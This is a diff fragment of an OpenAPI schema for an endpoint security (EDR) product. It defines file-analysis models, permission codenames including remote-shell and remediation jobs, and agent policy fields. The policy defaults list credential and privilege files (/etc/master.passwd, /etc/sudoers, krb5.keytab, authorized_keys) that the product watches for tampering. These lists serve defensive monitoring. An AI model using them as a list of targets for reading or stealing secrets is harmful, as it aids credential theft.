+      scanner:
+        $ref: '#/definitions/OrionDynamicScan'
+    required:
+      - antivirus
+      - description
+      - dynamic
+      - external_link
+      - level
+      - networks
+      - report_id
+      - risk
+      - rules_hits
+      - scan_date
+      - scanner
+    type: object
+  PDFRetention:
+    properties:
+      pdf_max_age:
+        minLength: 1
+        title: Pdf max age
+        type: string
+        x-nullable: true
+      pdf_max_size:
+        minLength: 1
+        title: Pdf max size
+        type: string
+        x-nullable: true
+    type: object
+  PEInfo:
+    properties:
+      authentihashes:
+        $ref: '#/definitions/Authentihashes'
+      company_name:
+        minLength: 1
+        title: Company name
+        type: string
+      file_description:
+        minLength: 1
+        title: File description
+        type: string
+      file_version:
+        minLength: 1
+        title: File version
+        type: string
+      internal_name:
+        minLength: 1
+        title: Internal name
+        type: string
+      legal_copyright:
+        minLength: 1
+        title: Legal copyright
+        type: string
+      original_filename:
+        minLength: 1
+        title: Original filename
+        type: string
+      pe_timestamp:
+        format: date-time
+        title: Pe timestamp
+        type: string
+      pe_timestamp_int:
+        title: Pe timestamp int
+        type: integer
+      product_name:
+        minLength: 1
+        title: Product name
+        type: string
+      product_version:
+        minLength: 1
+        title: Product version
+        type: string
+    required:
+      - authentihashes
+      - company_name
+      - file_description
+      - file_version
+      - internal_name
+      - legal_copyright
+      - original_filename
+      - pe_timestamp
+      - pe_timestamp_int
+      - product_name
+      - product_version
+    type: object
+  PaginatedBatchAgentList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/BatchAgentList'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  ParseFileSystem:
+    properties:
+      bDoComputeHash:
+        title: Bdocomputehash
+        type: boolean
+      bGetFirstBytes:
+        title: Bgetfirstbytes
+        type: boolean
+      maxPeComputeSize:
+        title: Maxpecomputesize
+        type: integer
+        x-nullable: true
+      restrictToDirectory:
+        minLength: 1
+        title: Restricttodirectory
+        type: string
+    required:
+      - bDoComputeHash
+      - bGetFirstBytes
+    type: object
+  Password:
+    properties:
+      password:
+        minLength: 1
+        title: Password
+        type: string
+    type: object
+  PasswordSecurity:
+    properties:
+      check_derived:
+        default: true
+        title: Check derived
+        type: boolean
+      check_dictionary:
+        default: true
+        title: Check dictionary
+        type: boolean
+      min_caps_count:
+        minimum: 0
+        title: Min caps count
+        type: integer
+        x-nullable: true
+      min_length:
+        default: 8
+        minimum: 1
+        title: Min length
+        type: integer
+        x-nullable: true
+      min_lower_count:
+        minimum: 0
+        title: Min lower count
+        type: integer
+        x-nullable: true
+      min_numerical_char_count:
+        minimum: 0
+        title: Min numerical char count
+        type: integer
+        x-nullable: true
+      min_special_char_count:
+        minimum: 0
+        title: Min special char count
+        type: integer
+        x-nullable: true
+    type: object
+  PasswordSecurityConfig:
+    properties:
+      check_derived:
+        readOnly: true
+        title: Check derived
+        type: boolean
+      check_dictionary:
+        readOnly: true
+        title: Check dictionary
+        type: boolean
+      min_caps_count:
+        readOnly: true
+        title: Min caps count
+        type: integer
+      min_length:
+        readOnly: true
+        title: Min length
+        type: integer
+      min_lower_count:
+        readOnly: true
+        title: Min lower count
+        type: integer
+      min_numerical_char_count:
+        readOnly: true
+        title: Min numerical char count
+        type: integer
+      min_special_char_count:
+        readOnly: true
+        title: Min special char count
+        type: integer
+    type: object
+  PasswordValidationError:
+    properties:
+      password:
+        $ref: '#/definitions/InnerPassword'
+    required:
+      - password
+    type: object
+  PathDownloadRequest:
+    properties:
+      agent_id:
+        minLength: 1
+        title: Agent id
+        type: string
+      auto_analyze:
+        default: false
+        title: Auto analyze
+        type: boolean
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+        x-nullable: true
+    required:
+      - agent_id
+      - path
+      - sha256
+    type: object
+  PathExclusion:
+    properties:
+      comment:
+        title: Comment
+        type: string
+      hl_av:
+        format: uuid
+        title: Hl av
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      path_type:
+        enum:
+          - ""
+          - directory
+          - file
+          - recursive_directory
+        title: Path type
+        type: string
+        x-nullable: true
+      platform_os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        title: Platform os
+        type: string
+        x-nullable: true
+      synchronization_status:
+        format: uuid
+        title: Synchronization status
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - path
+    type: object
+  PathExclusionList:
+    properties:
+      path_exclusions:
+        default: []
+        items:
+          $ref: '#/definitions/PathExclusion'
+        type: array
+    type: object
+  PeExport:
+    properties:
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      ordinal:
+        title: Ordinal
+        type: integer
+    required:
+      - name
+      - ordinal
+    type: object
+  PeReport:
+    properties:
+      exports:
+        items:
+          $ref: '#/definitions/PeExport'
+        type: array
+      resources:
+        items:
+          $ref: '#/definitions/PeResource'
+        type: array
+      sections:
+        items:
+          $ref: '#/definitions/PeSection'
+        type: array
+    required:
+      - exports
+      - resources
+      - sections
+    type: object
+  PeResource:
+    properties:
+      codepage:
+        minLength: 1
+        title: Codepage
+        type: string
+      data_offset:
+        title: Data offset
+        type: integer
+      data_size:
+        title: Data size
+        type: integer
+      entropy:
+        title: Entropy
+        type: number
+      language:
+        minLength: 1
+        title: Language
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      resource_type:
+        minLength: 1
+        title: Resource type
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      size:
+        title: Size
+        type: integer
+      timestamp:
+        title: Timestamp
+        type: integer
+    required:
+      - codepage
+      - data_offset
+      - data_size
+      - entropy
+      - language
+      - name
+      - resource_type
+      - sha256
+      - size
+      - timestamp
+    type: object
+  PeSection:
+    properties:
+      entropy:
+        title: Entropy
+        type: number
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      raw_size:
+        title: Raw size
+        type: integer
+      virtual_address:
+        title: Virtual address
+        type: integer
+      virtual_size:
+        title: Virtual size
+        type: integer
+    required:
+      - entropy
+      - md5
+      - name
+      - raw_size
+      - virtual_address
+      - virtual_size
+    type: object
+  Permission:
+    properties:
+      codename:
+        enum:
+          - administration_agent_installers
+          - administration_global_settings
+          - administration_role_edit
+          - administration_role_view
+          - administration_user_edit
+          - administration_user_view
+          - attack_surface_network_discovery_edit
+          - attack_surface_network_discovery_view
+          - attack_surface_vulnerability_edit
+          - attack_surface_vulnerability_view
+          - data_exploration_file_download
+          - data_exploration_investigation_edit
+          - data_exploration_investigation_view
+          - data_exploration_search
+          - data_exploration_telemetry
+          - data_exploration_visualization
+          - detection_sec_event_edit
+          - detection_sec_event_view
+          - detection_threat_edit
+          - detection_threat_view
+          - detection_view_experimental
+          - endpoint_agent_delivery_management_edit
+          - endpoint_agent_delivery_management_view
+          - endpoint_agent_lifecycle
+          - endpoint_lifecycle
+          - endpoint_management_edit
+          - endpoint_management_view
+          - endpoint_policy_edit
+          - endpoint_policy_view
+          - job_acquisition_capture_ram_edit
+          - job_acquisition_capture_ram_view
+          - job_acquisition_collect_raw_data_edit
+          - job_acquisition_collect_raw_data_view
+          - job_acquisition_download_directory_edit
+          - job_acquisition_download_directory_view
+          - job_acquisition_download_file_edit
+          - job_acquisition_download_file_view
+          - job_acquisition_network_sniffer_edit
+          - job_acquisition_network_sniffer_view
+          - job_acquisition_parse_filesystem_edit
+          - job_acquisition_parse_filesystem_view
+          - job_acquisition_process_dumper_edit
+          - job_acquisition_process_dumper_view
+          - job_debug_agent_diagnostic_edit
+          - job_debug_agent_diagnostic_view
+          - job_debug_minidump_edit
+          - job_debug_minidump_view
+          - job_debug_profile_memory_edit
+          - job_debug_profile_memory_view
+          - job_evidence_prefetch_edit
+          - job_evidence_prefetch_view
+          - job_info_drivers_edit
+          - job_info_drivers_view
+          - job_info_list_directory_contents_edit
+          - job_info_list_directory_contents_view
+          - job_info_network_shares_edit
+          - job_info_network_shares_view
+          - job_info_pip_list_edit
+          - job_info_pip_list_view
+          - job_info_processes_edit
+          - job_info_processes_view
+          - job_info_sessions_edit
+          - job_info_sessions_view
+          - job_info_windows_kb_edit
+          - job_info_windows_kb_view
+          - job_persistence_linux_persistence_edit
+          - job_persistence_linux_persistence_view
+          - job_persistence_registry_edit
+          - job_persistence_registry_view
+          - job_persistence_scheduled_tasks_edit
+          - job_persistence_scheduled_tasks_view
+          - job_persistence_startup_files_edit
+          - job_persistence_startup_files_view
+          - job_persistence_wmi_edit
+          - job_persistence_wmi_view
+          - job_remediation_file_deletion_edit
+          - job_remediation_file_deletion_view
+          - job_remediation_process_kill_edit
+          - job_remediation_process_kill_view
+          - job_remediation_quarantine_files_edit
+          - job_remediation_quarantine_files_view
+          - job_remediation_registry_operation_edit
+          - job_remediation_registry_operation_view
+          - job_remediation_scheduled_task_deletion_edit
+          - job_remediation_scheduled_task_deletion_view
+          - job_remediation_service_deletion_edit
+          - job_remediation_service_deletion_view
+          - job_scan_antivirus_scan_edit
+          - job_scan_antivirus_scan_view
+          - job_scan_ioc_scan_edit
+          - job_scan_ioc_scan_view
+          - job_scan_yara_scan_edit
+          - job_scan_yara_scan_view
+          - llm_chat_send_messages
+          - llm_chat_view_messages
+          - misc_api_documentation
+          - misc_product_documentation
+          - monitoring_agent_logs
+          - monitoring_ui
+          - protection_antivirus_edit
+          - protection_antivirus_view
+          - protection_device_control_edit
+          - protection_device_control_view
+          - protection_fim_edit
+          - protection_fim_view
+          - protection_firewall_edit
+          - protection_firewall_view
+          - remediation_isolation
+          - remote_shell_command_cat
+          - remote_shell_command_cd
+          - remote_shell_command_chmod
+          - remote_shell_command_chown
+          - remote_shell_command_cp
+          - remote_shell_command_env
+          - remote_shell_command_filehash
+          - remote_shell_command_listmount
+          - remote_shell_command_mkdir
+          - remote_shell_command_mv
+          - remote_shell_command_pwd
+          - remote_shell_command_run
+          - remote_shell_command_set
+          - remote_shell_command_stat
+          - remote_shell_command_unset
+          - remote_shell_executable_edit
+          - remote_shell_executable_view
+          - remote_shell_session_edit
+          - remote_shell_session_view
+          - threat_intelligence_edit
+          - threat_intelligence_experimental
+          - threat_intelligence_view
+          - threat_intelligence_whitelist_edit
+          - threat_intelligence_whitelist_view
+        title: Codename
+        type: string
+      id:
+        readOnly: true
+        title: Id
+        type: integer
+      name:
+        maxLength: 255
+        minLength: 1
+        title: Name
+        type: string
+      type:
+        readOnly: true
+        title: Type
+        type: string
+    required:
+      - codename
+      - name
+    type: object
+  PermissionUpdate:
+    properties:
+      codenames:
+        items:
+          enum:
+            - administration_agent_installers
+            - administration_global_settings
+            - administration_role_edit
+            - administration_role_view
+            - administration_user_edit
+            - administration_user_view
+            - attack_surface_network_discovery_edit
+            - attack_surface_network_discovery_view
+            - attack_surface_vulnerability_edit
+            - attack_surface_vulnerability_view
+            - data_exploration_file_download
+            - data_exploration_investigation_edit
+            - data_exploration_investigation_view
+            - data_exploration_search
+            - data_exploration_telemetry
+            - data_exploration_visualization
+            - detection_sec_event_edit
+            - detection_sec_event_view
+            - detection_threat_edit
+            - detection_threat_view
+            - detection_view_experimental
+            - endpoint_agent_lifecycle
+            - endpoint_lifecycle
+            - endpoint_management_edit
+            - endpoint_management_view
+            - endpoint_policy_edit
+            - endpoint_policy_view
+            - job_acquisition_capture_ram_edit
+            - job_acquisition_capture_ram_view
+            - job_acquisition_collect_raw_data_edit
+            - job_acquisition_collect_raw_data_view
+            - job_acquisition_download_directory_edit
+            - job_acquisition_download_directory_view
+            - job_acquisition_download_file_edit
+            - job_acquisition_download_file_view
+            - job_acquisition_network_sniffer_edit
+            - job_acquisition_network_sniffer_view
+            - job_acquisition_parse_filesystem_edit
+            - job_acquisition_parse_filesystem_view
+            - job_acquisition_process_dumper_edit
+            - job_acquisition_process_dumper_view
+            - job_debug_agent_diagnostic_edit
+            - job_debug_agent_diagnostic_view
+            - job_debug_minidump_edit
+            - job_debug_minidump_view
+            - job_debug_profile_memory_edit
+            - job_debug_profile_memory_view
+            - job_evidence_prefetch_edit
+            - job_evidence_prefetch_view
+            - job_info_drivers_edit
+            - job_info_drivers_view
+            - job_info_list_directory_contents_edit
+            - job_info_list_directory_contents_view
+            - job_info_network_shares_edit
+            - job_info_network_shares_view
+            - job_info_pip_list_edit
+            - job_info_pip_list_view
+            - job_info_processes_edit
+            - job_info_processes_view
+            - job_info_sessions_edit
+            - job_info_sessions_view
+            - job_info_windows_kb_edit
+            - job_info_windows_kb_view
+            - job_persistence_linux_persistence_edit
+            - job_persistence_linux_persistence_view
+            - job_persistence_registry_edit
+            - job_persistence_registry_view
+            - job_persistence_scheduled_tasks_edit
+            - job_persistence_scheduled_tasks_view
+            - job_persistence_startup_files_edit
+            - job_persistence_startup_files_view
+            - job_persistence_wmi_edit
+            - job_persistence_wmi_view
+            - job_remediation_file_deletion_edit
+            - job_remediation_file_deletion_view
+            - job_remediation_process_kill_edit
+            - job_remediation_process_kill_view
+            - job_remediation_quarantine_files_edit
+            - job_remediation_quarantine_files_view
+            - job_remediation_registry_operation_edit
+            - job_remediation_registry_operation_view
+            - job_remediation_scheduled_task_deletion_edit
+            - job_remediation_scheduled_task_deletion_view
+            - job_remediation_service_deletion_edit
+            - job_remediation_service_deletion_view
+            - job_scan_antivirus_scan_edit
+            - job_scan_antivirus_scan_view
+            - job_scan_ioc_scan_edit
+            - job_scan_ioc_scan_view
+            - job_scan_yara_scan_edit
+            - job_scan_yara_scan_view
+            - llm_chat_send_messages
+            - llm_chat_view_messages
+            - misc_api_documentation
+            - misc_product_documentation
+            - monitoring_agent_logs
+            - monitoring_ui
+            - protection_antivirus_edit
+            - protection_antivirus_view
+            - protection_device_control_edit
+            - protection_device_control_view
+            - protection_fim_edit
+            - protection_fim_view
+            - protection_firewall_edit
+            - protection_firewall_view
+            - remediation_isolation
+            - remote_shell_command_cat
+            - remote_shell_command_cd
+            - remote_shell_command_chmod
+            - remote_shell_command_chown
+            - remote_shell_command_cp
+            - remote_shell_command_env
+            - remote_shell_command_filehash
+            - remote_shell_command_listmount
+            - remote_shell_command_mkdir
+            - remote_shell_command_mv
+            - remote_shell_command_pwd
+            - remote_shell_command_run
+            - remote_shell_command_set
+            - remote_shell_command_stat
+            - remote_shell_command_unset
+            - remote_shell_executable_edit
+            - remote_shell_executable_view
+            - remote_shell_session_edit
+            - remote_shell_session_view
+            - threat_intelligence_edit
+            - threat_intelligence_experimental
+            - threat_intelligence_view
+            - threat_intelligence_whitelist_edit
+            - threat_intelligence_whitelist_view
+          type: string
+        type: array
+    required:
+      - codenames
+    type: object
+  Permissions:
+    properties:
+      action_remediation:
+        $ref: '#/definitions/ActionRemediationPermissions'
+      administration:
+        $ref: '#/definitions/AdministrationPermissions'
+      data_exploration:
+        $ref: '#/definitions/DataExplorationPermissions'
+      detection:
+        $ref: '#/definitions/DetectionPermissions'
+      endpoints:
+        $ref: '#/definitions/EndpointsPermissions'
+      llm:
+        $ref: '#/definitions/LLMPermissions'
+      miscellaneous:
+        $ref: '#/definitions/MiscellaneousPermissions'
+      protection:
+        $ref: '#/definitions/ProtectionPermissions'
+      remote_shell:
+        $ref: '#/definitions/RemoteShellPermission'
+      threat_intelligence:
+        $ref: '#/definitions/ThreatIntelligencePermissions'
+    required:
+      - action_remediation
+      - administration
+      - data_exploration
+      - detection
+      - endpoints
+      - llm
+      - miscellaneous
+      - protection
+      - remote_shell
+      - threat_intelligence
+    type: object
+  PersistanceFile:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      data:
+        minLength: 1
+        title: Data
+        type: string
+      data_b64:
+        minLength: 1
+        title: Data b64
+        type: string
+      filepath:
+        minLength: 1
+        title: Filepath
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      mode:
+        minLength: 1
+        title: Mode
+        type: string
+      persistance_type:
+        minLength: 1
+        title: Persistance type
+        type: string
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - data
+      - data_b64
+      - filepath
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - md5
+      - mode
+      - persistance_type
+      - sha1
+      - sha256
+      - size
+      - tenant
+    type: object
+  PersistencePermissions:
+    properties:
+      linux_persistence:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Linux persistence
+        type: string
+      registry:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Registry
+        type: string
+      scheduled_tasks:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Scheduled tasks
+        type: string
+      startup_files:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Startup files
+        type: string
+      wmi:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Wmi
+        type: string
+    required:
+      - linux_persistence
+      - registry
+      - scheduled_tasks
+      - startup_files
+      - wmi
+    type: object
+  Pipe:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+    type: object
+  Policy:
+    properties:
+      agent_auto_forget:
+        default: false
+        title: Agent auto forget
+        type: boolean
+      agent_auto_forget_max_days:
+        default: 1
+        minimum: 1
+        title: Agent auto forget max days
+        type: integer
+      agent_auto_update:
+        title: Agent auto update
+        type: boolean
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      agent_ui_admin_message:
+        title: Agent ui admin message
+        type: string
+        x-nullable: true
+      agent_ui_enabled:
+        title: Agent ui enabled
+        type: boolean
+      agent_ui_notification_level:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Agent ui notification level
+        type: integer
+      agent_ui_notification_scope:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Agent ui notification scope
+        type: integer
+      agent_upgrade_strategy:
+        enum:
+          - latest
+          - manual
+          - stable
+        title: Agent upgrade strategy
+        type: string
+      always_go_through_proxy:
+        title: Always go through proxy
+        type: boolean
+      antivirus_policy:
+        format: uuid
+        readOnly: true
+        title: Antivirus policy
+        type: string
+        x-nullable: true
+      antivirus_policy_name:
+        readOnly: true
+        title: Antivirus policy name
+        type: string
+      antivirus_profile:
+        readOnly: true
+        title: Antivirus profile
+        type: string
+      antivirus_profile_name:
+        readOnly: true
+        title: Antivirus profile name
+        type: string
+      audit_killswitch:
+        title: Audit killswitch
+        type: boolean
+      binary_download_enabled:
+        title: Binary download enabled
+        type: boolean
+      correlation_mode:
+        maximum: 3
+        minimum: 0
+        title: Correlation mode
+        type: integer
+      correlation_ruleset:
+        format: uuid
+        title: Correlation ruleset
+        type: string
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy:
+        format: uuid
+        readOnly: true
+        title: Device control policy
+        type: string
+        x-nullable: true
+      driverblock_mode:
+        maximum: 3
+        minimum: 0
+        title: Driverblock mode
+        type: integer
+      driverblock_strategy:
+        enum:
+          - blocklist
+          - heuristic
+        title: Driverblock strategy
+        type: string
+      feature_callback_tampering:
+        title: Feature callback tampering
+        type: boolean
+      feature_dse_tampering_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Feature dse tampering mode
+        type: integer
+      feature_event_stacktrace:
+        title: Feature event stacktrace
+        type: boolean
+      feature_live_process_heuristics:
+        title: Feature live process heuristics
+        type: boolean
+      feature_ppl_antimalware:
+        title: Feature ppl antimalware
+        type: boolean
+      feature_process_tampering:
+        title: Feature process tampering
+        type: boolean
+      feature_windows_filesystem_events:
+        title: Feature windows filesystem events
+        type: boolean
+      fim_policy:
+        format: uuid
+        title: Fim policy
+        type: string
+        x-nullable: true
+      firewall_policy:
+        format: uuid
+        readOnly: true
+        title: Firewall policy
+        type: string
+        x-nullable: true
+      hibou_minimum_level:
+        minLength: 1
+        title: Hibou minimum level
+        type: string
+      hibou_mode:
+        maximum: 3
+        minimum: 0
+        title: Hibou mode
+        type: integer
+      hibou_skip_signed_ms:
+        title: Hibou skip signed ms
+        type: boolean
+      hibou_skip_signed_others:
+        title: Hibou skip signed others
+        type: boolean
+      hlai_files_minimum_level:
+        minLength: 1
+        title: Hlai files minimum level
+        type: string
+      hlai_files_mode:
+        maximum: 1
+        minimum: 0
+        title: Hlai files mode
+        type: integer
+      hlai_minimum_level:
+        minLength: 1
+        title: Hlai minimum level
+        type: string
+      hlai_mode:
+        maximum: 3
+        minimum: 0
+        title: Hlai mode
+        type: integer
+      hlai_pdf:
+        title: Hlai pdf
+        type: boolean
+      hlai_scan_libraries:
+        title: Hlai scan libraries
+        type: boolean
+      hlai_scripts_minimum_level:
+        minLength: 1
+        title: Hlai scripts minimum level
+        type: string
+      hlai_scripts_mode:
+        maximum: 3
+        minimum: 0
+        title: Hlai scripts mode
+        type: integer
+      hlai_skip_signed_ms:
+        title: Hlai skip signed ms
+        type: boolean
+      hlai_skip_signed_others:
+        title: Hlai skip signed others
+        type: boolean
+      hlai_vba:
+        title: Hlai vba
+        type: boolean
+      hlai_written_executable:
+        title: Hlai written executable
+        type: boolean
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      ioc_mode:
+        maximum: 3
+        minimum: 0
+        title: Ioc mode
+        type: integer
+      ioc_ruleset:
+        format: uuid
+        title: Ioc ruleset
+        type: string
+        x-nullable: true
+      ioc_scan_libraries:
+        title: Ioc scan libraries
+        type: boolean
+      ioc_scan_written_executable:
+        title: Ioc scan written executable
+        type: boolean
+      isolation_exclusions_revision:
+        maximum: 2147483647
+        minimum: 0
+        title: Isolation exclusions revision
+        type: integer
+        x-nullable: true
+      library_download_enabled:
+        title: Library download enabled
+        type: boolean
+      linux_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Linux exclusions
+        type: integer
+      linux_paths_other_watched_globs:
+        default:
+          - /dev/shm/**
+          - /home/*/*
+          - /home/*/*/*
+          - /root/*
+          - /root/*/*
+          - /tmp/**
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      linux_self_protection:
+        title: Linux self protection
+        type: boolean
+      linux_self_protection_feature_hosts:
+        title: Linux self protection feature hosts
+        type: boolean
+      linux_startup_block:
+        title: Linux startup block
+        type: boolean
+      linux_use_isolation:
+        title: Linux use isolation
+        type: boolean
+      local_endpoint_cache_size:
+        default: 10240
+        maximum: 20480
+        minimum: 512
+        title: Local endpoint cache size
+        type: integer
+      loglevel:
+        enum:
+          - CRITICAL
+          - DEBUG
+          - ERROR
+          - INFO
+          - WARNING
+        title: Loglevel
+        type: string
+      macos_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Macos exclusions
+        type: integer
+      macos_paths_muted_exact:
+        default:
+          - /Library/Bluetooth/com.apple.MobileBluetooth.ledevices.paired.db-wal
+          - /dev/null
+          - /dev/ttys001
+          - /private/var/root/Library/Logs/Bluetooth/bluetoothd-hci-latest.pklg
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_muted_globs:
+        default: []
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_muted_prefixes:
+        default:
+          - /System/Volumes/Data/.Spotlight-V100/
+          - /private/var/db/dslocal/nodes/Default/users/
+          - /private/var/folders/
+          - /sbin/
+          - /usr/libexec/
+          - /usr/sbin/
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_other_watched_exact:
+        default:
+          - /.ssh/authorized_keys
+          - /etc/aliases
+          - /etc/aliases.db
+          - /etc/bashrc
+          - /etc/group
+          - /etc/hosts
+          - /etc/krb5.keytab
+          - /etc/localtime
+          - /etc/mail.rc
+          - /etc/master.passwd
+          - /etc/networks
+          - /etc/ntp.conf
+          - /etc/passwd
+          - /etc/pf.conf
+          - /etc/pf.os
+          - /etc/profile
+          - /etc/protocols
+          - /etc/resolv.conf
+          - /etc/services
+          - /etc/shells
+          - /etc/sudoers
+          - /etc/zprofile
+          - /etc/zshrc
+          - /etc/zshrc_Apple_Terminal
+          - /private/var/at/at.allow
+          - /private/var/at/at.deny
+          - /private/var/at/cron.allow
+          - /private/var/at/cron.deny
+          - /var/run/utmpx
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_other_watched_globs:
+        default:
+          - /Users/*/*
+          - /Users/*/.config/*
+          - /Users/*/.config/*/*
+          - /Users/*/.ssh/authorized_keys
+          - /Users/*/Library/LaunchAgents/*
+          - /etc/cups/*
+          - /etc/pf/anchors/*
+          - /etc/postfix/*
+          - /etc/rc.*
+          - /etc/security/*
+          - /etc/ssh/*
+          - /etc/ssl/*
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_other_watched_prefixes:
+        default:
+          - /Library/LaunchAgents/
+          - /Library/LaunchDaemons/
+          - /Library/StartupItems/
+          - /System/Library/LaunchAgents/
+          - /System/Library/LaunchDaemons/
+          - /Users/
+          - /etc/
+          - /etc/pam.d/
+          - /etc/sudoers.d/
+          - /private/var/at/tabs/
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_read_watched_exact:
+        default:
+          - /.ssh/authorized_keys
+          - /etc/aliases
+          - /etc/aliases.db
+          - /etc/bashrc
+          - /etc/group
+          - /etc/hosts
+          - /etc/krb5.keytab
+          - /etc/localtime
+          - /etc/mail.rc
+          - /etc/master.passwd
+          - /etc/networks
+          - /etc/ntp.conf
+          - /etc/passwd
+          - /etc/pf.conf
+          - /etc/pf.os
+          - /etc/profile
+          - /etc/protocols
+          - /etc/resolv.conf
+          - /etc/services
+          - /etc/shells
+          - /etc/sudoers
+          - /etc/zprofile
+          - /etc/zshrc
+          - /etc/zshrc_Apple_Terminal
+          - /private/var/at/at.allow
+          - /private/var/at/at.deny
+          - /private/var/at/cron.allow
+          - /private/var/at/cron.deny
+          - /var/run/utmpx
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_read_watched_globs:
+        default:
+          - /Users/*/*
+          - /Users/*/.config/*
+          - /Users/*/.config/*/*
+          - /Users/*/.ssh/authorized_keys
+          - /Users/*/Library/LaunchAgents/*
+          - /etc/cups/*
+          - /etc/pf/anchors/*
+          - /etc/postfix/*
+          - /etc/rc.*
+          - /etc/security/*
+          - /etc/ssh/*
+          - /etc/ssl/*
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_read_watched_prefixes:
+        default:
+          - /Library/LaunchAgents/
+          - /Library/LaunchDaemons/
+          - /Library/StartupItems/
+          - /System/Library/LaunchAgents/
+          - /System/Library/LaunchDaemons/
+          - /Users/
+          - /etc/
+          - /etc/pam.d/
+          - /etc/sudoers.d/
+          - /private/var/at/tabs/
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_write_watched_exact:
+        default:
+          - /.ssh/authorized_keys
+          - /etc/aliases
+          - /etc/aliases.db
+          - /etc/bashrc
+          - /etc/group
+          - /etc/hosts
+          - /etc/krb5.keytab
+          - /etc/localtime
+          - /etc/mail.rc
+          - /etc/master.passwd
+          - /etc/networks
+          - /etc/ntp.conf
+          - /etc/passwd
+          - /etc/pf.conf
+          - /etc/pf.os
+          - /etc/profile
+          - /etc/protocols
+          - /etc/resolv.conf
+          - /etc/services
+          - /etc/shells
+          - /etc/sudoers
+          - /etc/zprofile
+          - /etc/zshrc
+          - /etc/zshrc_Apple_Terminal
+          - /private/var/at/at.allow
+          - /private/var/at/at.deny
+          - /private/var/at/cron.allow
+          - /private/var/at/cron.deny
+          - /var/run/utmpx
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_write_watched_globs:
+        default:
+          - /Users/*/*
+          - /Users/*/.config/*
+          - /Users/*/.config/*/*
+          - /Users/*/.ssh/authorized_keys
+          - /Users/*/Library/LaunchAgents/*
+          - /etc/cups/*
+          - /etc/pf/anchors/*
+          - /etc/postfix/*
+          - /etc/rc.*
+          - /etc/security/*
+          - /etc/ssh/*
+          - /etc/ssl/*
